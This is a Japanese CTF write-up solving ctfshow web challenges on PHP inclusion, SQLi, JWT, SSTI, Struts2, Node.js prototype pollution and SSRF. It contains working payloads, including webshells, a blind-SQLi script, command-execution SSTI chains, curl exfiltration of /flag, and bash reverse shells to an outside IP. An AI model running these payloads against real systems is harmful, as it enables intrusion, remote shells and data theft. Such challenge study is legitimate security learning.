Tritium

Tritium

CTFshowバリバリ!

強くなりたい!

ctfshow VIP 問題集が始まる!

PHP ファイルインクルード#

web78#

フィルタリングなしの裸 include 直接 include2shell 開殺

ああ、これには include2shell は使えない、これらのフィルタは有効になっていない

それなら直接読み取ればいい

php://filter/convert.base64-encode/resource=flag.php

web79#

php フィールドをフィルタリングして、data プロトコルで🐎を送る

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmxhZy4/Pz8iKSA/Pg==

web80#

くそ、data もフィルタリングされた

しかし、大文字小文字はフィルタリングされていないので、PHP://input と post 内容を使って馬を書いて cat fl0g.php を読み取った

web81#

byd はどうやってコロンをフィルタリングしたのか

今回は本格的なログインクルードを行う

nginx ログパス:/var/log/nginx/access.log

apache ログパス:/var/log/apache2/access.log

log は url と ua を記録する、url はエンコードされるので、ua を使って馬を書く

UA に実行する php コマンドを変更しなければならない、一度で成功しなければならない、問題があれば fatalerror が発生し、環境を再起動するしかない

とにかく UA をに設定し、何度もアクセスすれば出てくる

web82#

この問題は。をフィルタリングした、あなたは厳しい

セッション競合インクルードを行う、具体的にはここを見てくださいhttps://www.freebuf.com/vuls/202819.html

import io
import requests
import threading

sessid = 'tri'

def POST(session):
    f = io.BytesIO(b'a' * 1024 * 50)
    session.post(
        'http://f1510789-decf-456f-bc71-bfcc9b8a693d.challenge.ctf.show/',
        data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system(\"ls\");?>"},
        files={"file":('q.txt', f)},
        cookies={'PHPSESSID':sessid}
    )

with requests.session() as session:
    while True:
        POST(session)
        print(f"[+] 成功写入sess_{sessid}")

これを送信しながら /tmp/sess_SESSID をインクルードすれば rce が得られる

競合環境は開いていないので、wp を先に書き終え、今はやらない

競合を必要としないものを先にやる

web87#

1 行

file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);

死亡 exit があるので、この die をエスケープしてからシェルを書き込む必要がある

ここでの file は擬似プロトコルを使用できる、rot13 フィルタを持つ write 擬似プロトコルを構築し、事前に content を rot13 しておけば die をエスケープし、content を元に戻すことができる

php://filter/write=string.rot13/resource=2.php

ここでは 2 回 urlencode を通過する必要がある、なぜなら再度受動的に decode されるから

web88#

preg_match("/php|~|!|@|#|\$|%|^|&|*|(|)|-|_|+|=|./i", $file)

多くのフィルタリングが行われている

実際には、79 のペイロードを直接打つことができる、特殊文字を含まない base64 でエンコードされたパスワードを見つければいい

web116#

Untitled.png

mp4 から png を分離した、ソースコードのスクリーンショット

多くのフィルタリングが行われたが、flag.php を直接インクルードして flag を取得できることがわかった

web117#

web87 に非常に似ている?しかし、rot13 がフィルタリングされているので、死亡 exit をエスケープするための他の方法を見つける必要がある

https://www.anquanke.com/post/id/202510#h2-14からいくつかの方法を見つけた

UCS-2 方式で、ターゲット文字列を 2 バイトごとに反転させる(ここでの 2LE と 2BE は小端と大端の例として考えられる)、つまり、構築する悪意のあるコードは UCS-2 の 2 の倍数でなければならず、そうでなければ正常に反転できない(満たされない余分な文字列は切り捨てられる)、このフィルタを利用してエンコーディング変換を回避できる

php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=shell1.php

contents も事前に反転されている?<hp pvela$(G_TE'[mc'd)]?;>>

こうして webshell が得られた

PHP 特性#

この部分は基礎的な部分を刷ることになる

web89#

if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }

pregmatch を回避する古典的な方法、ここでは配列を使用して pregmatch を回避する、引数が不正な場合は false を返す

?num[]=1

web90#

if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

最初に 4476 との強い比較があり、その後 intval が使用される

intval ($num,0) の動作原理は以下の通り

base が 0 の場合、var の形式を検出して使用する進数を決定する:

  • 文字列が "0x" (または "0X") のプレフィックスを含む場合、16 進数 (hex) を使用;そうでなければ、
  • 文字列が "0" で始まる場合、8 進数 (octal) を使用;そうでなければ、
  • 10 進数 (decimal) を使用する。

これにより、進数を利用してペイロードを構築できる

?num=0x117c

0x117c を 10 進数に変換すると 4476 になる

web91#

$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

最初の行の正規表現には m 修飾子が追加されており、これは複数行マッチを指す

改行を含む文字列を構築できる

url 内では、改行文字は %0a

したがって cmd=%0aphp とすれば条件を満たすことができる

web92#

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

90 のペイロードを直接使用できる、原理は同じである

web93#

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }

進数変換の intval を使用できないため、num=4476.1 と指定すると、int に変換されるときに小数が自動的に切り捨てられる

web94#

if(!strpos($num, "0")){
        die("no no no!");
    }

この問題は前の問題に基づいて制限が追加され、num に 0 を含む必要がある

したがって num=4476.10 と指定すればよい

web95#

if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }

小数点を禁止された

?num=+010574 を使用すると、八進数を回避できる、前にプラスを追加することで intval が整数として認識できる

web96#

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

直接 flag.php を渡すことができないので、./flag.php を渡せばよい

web97#

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

md5 の弱い比較、直接配列を回避する

a[]=1&b[]=a

web98#

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?これは何?

本当に低能な問題で、こんな問題には遭遇しないだろう

1. **`include("flag.php");`**: "flag.php"という名前のファイルをインクルードしようとしています。このファイルにはいくつかの敏感な情報が含まれている可能性がありますが、その内容は不明です。
2. **`$_GET?$_GET=&$_POST:'flag';`**: この行は実際にはGETリクエストが存在するかどうかを確認し、**`$_GET`**を**`$_POST`**に設定し、そうでなければ**`$_GET`**を文字列'flag'に設定します。
3. **`$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';`**: **`$_GET['flag']`**の値が'flag'である場合、**`$_GET`**を**`$_COOKIE`**に設定し、そうでなければ**`$_GET`**を文字列'flag'に設定します。
4. **`$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';`**: 前の行と同様に、**`$_GET['flag']`**の値が'flag'である場合、**`$_GET`**を**`$_SERVER`**に設定し、そうでなければ**`$_GET`**を文字列'flag'に設定します。
5. **`highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);`**: **`highlight_file`**関数を使用して、ファイルのソースコードをハイライト表示します。**`$_GET['HTTP_FLAG']`**が'flag'であるかどうかに基づいて、'flag.php'ファイルの内容を表示するか、現在のファイルの内容を表示するかを決定します。

chatgpt の説明によれば、GET に適当なものを渡し、POST で HTTP_FLAG=flag を送信すればエラーメッセージの中で flag を見ることができる

web99#

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

ここでは inarray の脆弱性を利用している、この関数のデフォルトの strict モードは false であるため、まず配列にいくつかのランダムな数字を追加する、したがって n が数字で始まる場合、弱い比較により n の数字以降の文字が無視される、したがって n=1.php と指定すれば、1 は必ず allow に含まれるため、合法的に回避できる

n=1.php&content=<?php system($_POST[1]);?>

web100#

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}

v0 には代入演算があり、代入演算の優先順位が and 演算よりも高いため、v1 が数字であればよい

v2 には;が含まれてはいけない、v3 には含まれている必要がある;したがって v2 で?> を使用して切断すればよい

?v1=1
&v2=var_dump($ctfshow)?>
&v3=;

このオブジェクトをダンプし、0x2d を - に変換すれば flag が得られる

web101#

100 の正規表現を変更し、数字や記号を含まないことを要求した

Reflectionclass を使用してこのクラスのパラメータを取得できれば flag を取得できる

web102#

web110#

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

これは英字のみのネイティブクラスを利用する

まず次のように使用する

?v1=FilesystemIterator
&v2=getcwd

現在のディレクトリにあるファイルを取得する

flag ファイルを見つけたら、そのファイルに直接アクセスして flag を見ることができる

web111#

include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}


if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }

可変変数v1v1とv2

v1=ctfshow v2=GLOBALS と指定すると、これを上書きして vardumpGLOBALS を出力し、flag を含む変数を出力する

web112#

function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

php 擬似プロトコルを使用して直接読み取ることができる php://filter/resource=flag.php

web113#

filter を禁止し、compress.zlib を使用して読み取ることができる

web114#

=web112

web115#

php では "36" は "\x0c36" と等しく、trim も \x0c をフィルタリングしないため、%0c もフィルタリングされない

function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }

num=%0c36

web123#


include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
     if($fl0g==="flag_give_me"){
         echo $flag;この純粋な誤導、evalを使用して直接echoflagを実行すればよい

web125#

問題は $c<=16 に制限されている、長さが 16 未満ではないので、eval を使用してコマンドを渡すことができる

web126#

php7 では assert を使用して関数を直接実行できないため、assert ($a [0]) ?fl0g=flag_give_me を使用して代入文を実行する

web127#

highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

query にこれらの文字を渡すことを禁止されているので、ctf show を使用して php が不正なパラメータ名を自動的に_に変換するようにすればよい

web128#

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

二重のユーザ関数、英字と数字なし

get_defined_vars は定義されたすべての変数の配列を返す

SQLi#

web171#

//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

単純に直接結合

‘ or 1=1 —+

これで条件がすべて成立し、すべてのアカウントが返される

web172#

追加のチェックが行われた

//检查结果是否有flag
    if($row->username!=='flag'){
      $ret['msg']='查询成功';
    }

したがって、union を使用して結合クエリを実行する

1' union select 2,password from ctfshow_user2 --+

username を常に 2 にする

結果を取得できる

web173#

172 と同様だが、3 つのフィールドに変更されているので、少し変更すればよい

web174#

flag と数字が結果に含まれることを禁止されているので、ブール盲注を使用して flag を取得する

import requests
from string import ascii_lowercase,digits
word = ascii_lowercase + digits + "_{}-"

url = "http://001f2822-f26a-44bb-a9b6-ad7ed9dbb1a6.challenge.ctf.show/api/v4.php?id="

flag = ""
while True:
    for i in word:
        r = requests.get(url + f"1' AND (SELECT password FROM ctfshow_user4 where username = 'flag') LIKE '{flag + i}%' --+")
        if "admin" in r.text:
            flag += i
            print(flag)
            break

web175#

この問題ではすべての ascii 文字が禁止されている、つまり、エコーがないため、ブール盲注を使用できない、時間盲注を使用することができる

また、into outfile を使用して結果を外部サイトのファイルに書き込むことができる

1' union select username , password from ctfshow_user5 where username='flag' into outfile'/var/www/html/ctf.txt' --+

web176#

この問題では waf が導入されており、何がフィルタリングされているかわからない

a' or 1=1 --+ を使用して直接回避できる

web177#

この waf は空白をフィルタリングしているため、すべての空白を /**/ 行間注釈に置き換え、unionselect クエリを実行できる

web178#

この問題ではすべての注釈記号がフィルタリングされているため、%0b または %09 を使用して空白を置き換えるか、空白を必要としないペイロードを使用することができる

'or'1'='1'%23

web179#

依然として空白のフィルタリングに変更が加えられているため、上記のペイロードを使用できる

web180#

#を使用して文の残りの部分を注釈することを禁止し、--+ を使用するように変更され、ここでの + は url エンコードされて %0c である必要がある

JWT#

web345#

flag はどこに?レスポンスヘッダーを確認すると、auth cookie が jwt を与え、admin にアクセスするように指示される

auth=eyJhbGciOiJOb25lIiwidHlwIjoiand0In0.W3siaXNzIjoiYWRtaW4iLCJpYXQiOjE3MDA1NzIxMjAsImV4cCI6MTcwMDU3OTMyMCwibmJmIjoxNzAwNTcyMTIwLCJzdWIiOiJ1c2VyIiwianRpIjoiMzc0MDIyOWYxYjE3MWRmZTZhNjJjNjMzZjlkMGRiZWUifV0

Untitled.png

デコードすると、署名のない jwt が得られ、sub を admin に変更して試してみる

変更した jwt を使用して admin にアクセスし、flag を取得する

web346#

auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3MjQ5MCwiZXhwIjoxNzAwNTc5NjkwLCJuYmYiOjE3MDA1NzI0OTAsInN1YiI6InVzZXIiLCJqdGkiOiI4NDQ5YmYyMzQwMWE2OGE3NTk3YTIwOWQ5YzE4NWI1MCJ9.Zx2mZerMpnJTieuQHpYoGqQ8WKIzn36bseFh9oH

今度は jwt に署名が付いている、HS256 アルゴリズムを使用しているため、secretkey を破る必要がある

この問題は jwt 攻撃方法の 1 つである alg を none にすることを考慮している、いくつかのバックエンドでは、jwtheader の alg を none に設定すると、署名を検証しなくなる

Untitled.png

jwttools を使用して、admin を変更した jwt を生成する

python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMDU3NTk1OCwiZXhwIjoxNzAwNTgzMTU4LCJuYmYiOjE3MDA1NzU5NTgsInN1YiI6ImFkbWluIiwianRpIjoiZTE2NTZhOGU2ZTFkNDVkYWIwOGIzZjhjYmVkYzZkM2MifQ.Y6rVpdFqoNkrP0o1bOlQHpge7SSxdpnyyKET5i34e6U -Xa

次に - Xa を使用して none 攻撃を実行する

この jwt を使用してアクセスすれば flag を取得できる

web347#

問題は jwt の弱いパスワードを示唆しており、sk を 123456 でブルートフォースする

admin を変更してアクセスする

web348#

同様にブルートフォース、辞書を使用して aaab が得られる

web349#

これは秘密鍵が漏洩した問題で、/private.key にアクセスすると秘密鍵が得られる

この秘密鍵を使用して admin に変更し、直接署名すればよい

web350#

公開鍵が漏洩した

この問題は CVE-2016-5431 の脆弱性を利用して、RS256 の非対称暗号を HS256 の対称暗号に変更する問題で、署名アルゴリズムの混乱が発生するが、検証が厳密ではない

py の jwt パッケージを使用して試したが通らなかった、内部の署名ロジックが異なる可能性がある

同じパッケージをインポートする js スクリプトを使用する

var jwt = require('jsonwebtoken');
var fs = require('fs');
var privateKey = fs.readFileSync('./public.key');
var token = jwt.sign({ user: 'admin' }, privateKey, { algorithm: 'HS256' });
console.log(token);

このトークンを使用してアクセスすれば flag を取得できる

SSTI#

クラシックなまとめhttps://tttang.com/archive/1698/

web361#

問題の説明は名前がポイントで、name query の ssti を考慮している

?name={%for(x)in().__class__.__base__.__subclasses__()%}{%if'war'in(x).__name__ %}{{x()._module.__builtins__['__import__']('os').popen('cat /flag').read()}}{%endif%}{%endfor%}

web362#

フィルタリングが追加された

このフィルタリング文は2|3

何をフィルタリングしているのかわからないが、上記のペイロードはまだ使用できる

web363#

どうやら単一引用符がフィルタリングされている

したがって、単一引用符内の文字列を request.args.a に置き換え、a=os として渡す

?name={{self.__init__.__globals__.__builtins__.__import__(request.args.a).popen(request.args.b).read()}}&a=os&b=env

web364#

試してみると、args がフィルタリングされている

したがって、cookies を使用する

?name={{self.__init__.__globals__.__builtins__.__import__(request.cookies.a).popen(request.cookies.b).read()}}

同時に cookie に a=os;b=env を渡す

web365#

この問題では単一引用符と二重引用符がフィルタリングされているため、args と [を使用することができない、したがって、少ないものを使用する

?name={{(lipsum | attr(request.cookies.c)).os.popen(request.cookies.b).read()}}

b=env;c=globals

web366#

os がフィルタリングされている

?name={{(lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()}}

b=env;c=globals;d=os

web367#

{{と} がフィルタリングされている

したがって、{+% と %+} を代わりに使用し、元のペイロードに print を追加すればよい

?name={% print((lipsum | attr(request.cookies.c)).get(request.cookies.d).popen(request.cookies.b).read()) %}

web368#

args と [がフィルタリングされているため、フィルタリングを回避するために、args を使用してフィルタリングを回避する必要がある

{%set pop=dict(po=a,p=b)|join%}
{%set xiahuaxian=(lipsum|string|list)|attr(pop)(24)%}
{%set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set get=dict(get=a)|join%}
{%set shell=dict(o=a,s=b)|join%}
{%set popen=dict(popen=a)|join%}
{%set builtins=(xiahuaxian,xiahuaxian,dict(builtins=a)|join,xiahuaxian,xiahuaxian)|join%}
{%set ch=dict(ch=a,r=b)|join%}
{%set char=(lipsum|attr(globals))|attr(get)(builtins)|attr(get)(ch)%}
{%set command=char(99)%2bchar(97)%2bchar(116)%2bchar(32)%2bchar(47)%2bchar(102)%2bchar(108)%2bchar(97)%2bchar(103)%}
{%set read=dict(read=a)|join%}
{%set result=(lipsum|attr(globals))|attr(get)(shell)|attr(popen)(command)|attr(read)()%}
{%print result%}

必要な部分の文字列を取得し、変数に保存し、必要なコマンドを構築して実行する

web370#

この問題では数字がフィルタリングされているため、count フィルタを使用して取得することができる

全角数字を半角数字の代わりに使用する邪道もある

def half2full(half):
    full = ''
    for ch in half:
        if ord(ch) in range(33, 127):
            ch = chr(ord(ch) + 0xfee0)
        elif ord(ch) == 32:
            ch = chr(0x3000)
        else:
            pass
        full += ch
    return full
while 1:
    t = ''
    s = input("入力したい数字文字列を変換してください:")
    for i in s:
        t += half2full(i)
    print(t)

元のペイロードの数字をすべてこのように置き換えればよい

web371#

この問題では print が禁止されているため、他のデータ外部持ち出し方法を見つける必要がある

ここでは curl を使用してシグナルにアクセスし、データを外部に持ち出すことができる

具体的なコマンドは

curl -X POST -F xx=@/flag domain

@を使用することで、このファイルを読み取り、内容を送信することができる

web372#

count が禁止されているため、370 の全角数字を使用すればよい

以前 ISCC を行ったときに出会った非常に包括的な ssti の問題がある、ここhttps://blog.csdn.net/c868954104/article/details/131003141

JAVA#

web279#

問題は S2-001 で、struts2 ツールを使用して直接攻撃する

Untitled.png

web280#

S2-005 も同様に攻撃する

web281#

S2-007 も攻撃する

web282#

S2-008 も攻撃する

web283#

攻撃する、私は何をしているのかわからない、ツールを使用して攻撃する

web284#

S2-016 も通過する

web285#

攻撃する

web286#

攻撃する

web287#

攻撃する

web288#

攻撃する

web289#

S2-029、これは一発の exp がない、ネットで調べた、タイトルに S2-032 と書いてあったので、私を誤導した

default.action?message=(%23_memberAccess['allowPrivateAccess']=true,%23_memberAccess['allowProtectedAccess']=true,%23_memberAccess['excludedPackageNamePatterns']=%23_memberAccess['acceptProperties'],%23_memberAccess['excludedClasses']=%23_memberAccess['acceptProperties'],%23_memberAccess['allowPackageProtectedAccess']=true,%23_memberAccess['allowStaticMethodAccess']=true,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('ls').getInputStream()))

web290#

攻撃する

web291#

攻撃する

web292#

攻撃する

web293#

攻撃する

web294#

攻撃する

web295#

exp がない、ネットで探した

showcase の /integration/saveGangster.action パスに OGNL 文法を入力し、${10-7} を実行する

Untitled.png

結果は 3、実行成功を示す

その後、SSTI の RCE のように攻撃を行う

web296#

攻撃する

web297#

攻撃する

web298#

ついに S2 シリーズではなくなった!

この問題には罠がある!デフォルトで入るパスは / で、これは 404 である、手動で ctfshow にジャンプする必要がある!

ソースコードが与えられ、次の条件を満たす必要がある

public boolean getVipStatus() {
        return this.username.equals("admin") && this.password.equals("ctfshow");
    }

ああ、

この低能な問題は、手動で login ディレクトリを調整する必要があり、ヒントがまったくない

/ctfshow/login?username=admin&password=ctfshow

web299#

1 行のコメントがある

Untitled.png

しかし、.php がなく、java で一般的な jsp を読み取る

次に、/WEB-INF/web.xml をスキャンすると、com.ctfshow.servlet.GetFlag が存在することがわかる

試してみる

対応するファイルパスは / WEB-INF/classes/com/ctfshow/servlet/GetFlag.class

読み取ったソースコードには次のようなものがある

Untitled.png

../../../../fl3g を使用して flag を読み取る

web300#

前の問題と似ているが、php の皮をかぶっている、include2shell を使用して打つと露出する

PHPCVE#

Web312#

1. 環境

Untitled.png

php5.6.38 のメールシステムであることがわかる

cve を調べて、CVE-2018-19518を見つける

-oProxyCommand = を設定してサードパーティのコマンドを呼び出すことで、攻撃者はこのパラメータを注入し、最終的にコマンド実行の脆弱性を引き起こす

利用方法:まず 1 行のスクリプトを書き、base64 でエンコードし、シェルコマンドを使用してファイルに書き込む

echo "PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==" | base64 -d >/var/www/html/1.php

次に、この 1 行を base64 でエンコードして exp に書き込む

x -oProxyCommand=echo	"ZWNobyAiUEQ5d2FIQWdaWFpoYkNna1gxQlBVMVJiTVYwcE95QS9QZz09IiB8IGJhc2U2NCAtZCA+L3Zhci93d3cvaHRtbC8xLnBocA=="|base64	-d|sh}

hostname に入力、注意、最初の部分は x であり、2 回 url エンコードする必要がある

Untitled.png

Untitled.png

これで rce が得られる

Untitled.png

NodeJS#

基礎宝箱:https://xz.aliyun.com/t/11791

web334#

これは nodejs の問題である

ソースコードをダウンロードし、次の部分を回避する必要がある

var findUser = function(name, password){
  return users.find(function(item){
    return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
  });
};

見てみると、アカウントとパスワードが与えられている

module.exports = {
  items: [
    {username: 'CTFSHOW', password: '123456'}
  ]
};

web335#

flag はどこに?

f12 を見てみると、コメントがある

<!-- /?eval= -

nodejs で rce を行う必要がある

require ("child_process").execSync ("ls"); を使用して rce を実行し、flag を読み取ることに成功する

web336#

flag はどこに?

ただし、フィルタリングが行われているようで、exec がフィルタリングされている?不明

https://forum.butian.net/share/1631にはいくつかの一般的なバイパス方法がある

require("child_process")["ex"+"ecSync"]('ls');

[] を使用してメソッドを実行し、文字列を結合して exec 制限を回避する

特殊記号は url エンコードする必要がある

web337#

問題の説明にはソースコードが与えられている

var express = require('express');
var router = express.Router();
var crypto = require('crypto');

function md5(s) {
  return crypto.createHash('md5')
    .update(s)
    .digest('hex');
}

/* GET home page. */
router.get('/', function(req, res, next) {
  res.type('html');
  var flag='xxxxxxx';
  var a = req.query.a;
  var b = req.query.b;
  if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
  	res.end(flag);
  }else{
  	res.render('index',{ msg: 'tql'});
  }
  
});

module.exports = router;

これは古典的な突破方法である

2 つのオブジェクトを渡す

a[a]=1&b[b]=2

内部的には次のように表される

a={'a':'1'}
b={'b':'2'}

これにより制限を回避することができる

web338#

問題のソースコードは 338 と似ているが、secert.ctfshow===36dboy である必要がある、これは明らかに不可能である

同時に api ルートが追加されている

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

この query は何だろう?どこにも存在しないので、オブジェクトを汚染してこのものを作り出す必要がある

flag の位置がわからないので、最も簡単なシェルをポップアップするペイロードを使用する

{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/x/9001 0>&1\"')"}}

これを送信すると /api にアクセスしたときに自動的にシェルがポップアップする

/app/routes/login.js にアクセスして flag を取得する

> PS:もしコンテキストにrequireがなければ(Code-Breaking 2018 Thejsのように)、global.process.mainModule.constructor._load('child_process').exec('calc')を使用してコマンドを実行できる

web339#

ソースコードは 338 と似ているが、secert.ctfshow===flag に変更されており、これは明らかに不可能である

同時に api ルートが追加されている

router.post('/', require('body-parser').json(),function(req, res, next) {
  res.type('html');
  res.render('api', { query: Function(query)(query)});
   
});

この query は何だろう?どこにも存在しないので、オブジェクトを汚染してこのものを作り出す必要がある

flag の位置がわからないので、最も簡単なシェルをポップアップするペイロードを使用する

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/x/9001 0>&1\"')"}}}

これを送信すると /api にアクセスしたときに自動的にシェルがポップアップする

/app/routes/login.js にアクセスして flag を取得する

web340#

utils.copy(user.userinfo,req.body);
  if(user.userinfo.isAdmin){
   res.end(flag);

ほぼ同じことだが、2 層上に汚染する必要がある

{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}}

web341#

この問題では 339 と 340 の api ルートが削除されているため、query を汚染して rce を実行することができない

したがって、ejs の rce ペイロードを使用して原型チェーンを汚染する必要がある

具体的には、ここhttps://xz.aliyun.com/t/7075を参照

{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"');var __tmp2"}}}

web342#

この問題では jade テンプレートエンジンを使用しており、jade の原型チェーン汚染 rce 利用チェーンを打つ必要がある

具体的には、ここhttps://xz.aliyun.com/t/7025#toc-5を参照

同様の 2 回の汚染を行う

{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/150.109.158.220/9001 0>&1\"')"}}}

web343#

342 と同じペイロードを打つと出てくる、何がフィルタリングされているのかわからない

web344#

この問題は nodejs の低能さを見事に示している

router.get('/', function(req, res, next) {
  res.type('html');
  var flag = 'flag_here';
  if(req.url.match(/8c|2c|\,/ig)){
  	res.end('where is flag :)');
  }
  var query = JSON.parse(req.query.query);
  if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
  	res.end(flag);
  }else{
  	res.end('where is flag. :)');
  }

});

打つべきペイロードは?query={"name":"admin"&query="password":"ctfshow"&query="isVIP"}

?あなたは私に言う、これはすべてのパラメータを切り捨てるもので、内部でなぜ結合できるのか?

すべての query を urlencode すれば、問題なく渡すことができる

nodejs は堂々と完結した!

SSRF#

web351#

この問題では curl 環境が与えられ、curl の内容を渡すことができる

直接 file プロトコルを使用して flag.php を読み取ることができる

web352#

http/s プロトコルと非 localhost/127.0.0.1 のみが許可されているが、なぜかhttp://127.0.0.1/flag.php で flag を取得できる

web353#

正規表現が強化されているが、linux では 127 で始まるものはすべてローカルアドレスを示すため、127.0.0.1 を他の ip に置き換えることで同じ効果が得られる

web354#

localhost|1|0 | でマッチングされている

つまり、localhost/127 で始まることはできず、0 も使用できない、この場合、127.0.0.1 に解決されるドメインを使用して同じ効果を得ることができる

web355#

host の長さが 5 未満である必要があるため、0 を使用してローカル ip を示すことができる

web356#

